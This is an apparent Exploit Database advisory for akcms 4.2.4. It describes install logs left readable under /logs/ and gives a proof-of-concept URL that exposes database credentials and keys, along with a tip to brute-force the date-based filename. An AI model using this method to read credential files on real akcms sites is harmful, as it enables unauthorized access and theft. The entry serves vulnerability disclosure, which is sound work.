akcms 4.2.4 – Information Disclosure

• Exploit Database
• 9 阅读

• 作者： L0n3ly-H34rT
  日期： 2012-09-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/21251/

• ############################################
  ### Exploit Title: akcms v4.2.4 Information Disclosure Vulnerability
  ### Date: 10/09/2012 
  ### Author: L0n3ly-H34rT 
  ### Contact: l0n3ly_h34rt@hotmail.com 
  ### My Site: http://se3c.blogspot.com/ 
  ### Vendor Link: http://www.akcms.com/
  ### Software Link: http://download.akcms.com/download/akcms4.2.4.tar.gz
  ### Version: 4.2.4 ( may be old version is affect ! i don't check )
  ### Tested on: Linux/Windows 
  ############################################
  
  # Explanation :
  
  When you install script as first time, it will be generate file log & if we enter here for example :
  
  http://127.0.0.1/akcms4.2.4/logs/
  
  we see two files log:
  
  1- for config log e.g. :
  
  20120910.log
  
  2- for failed login e.g. :
  
  admin20120910.log
  
  if we see first file, we see the name of file as the date when install script, but if we enter the folder and permission of index is on, we can read it ..
  
  or we can brute force of that file by some programmer found in google or you can generate simple script for yourself ..
  
  # P.O.C :
  
  http://127.0.0.1/akcms4.2.4/logs/20120910.log
  
  you will see the information of config like this for example :
  
  16:57:56127.0.0.1file=install$dbtype = 'mysql';
  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpw = '000000';
  $dbname = 'ak';
  $tablepre = 'ak';
  $charset = 'utf8';
  $timedifference = '0';
  $template_path = 'ak';
  $codekey = 'snGrZU';
  $cookiepre = '9x5G74';
  
  
  ############################################
  
  # Greetz to my friendz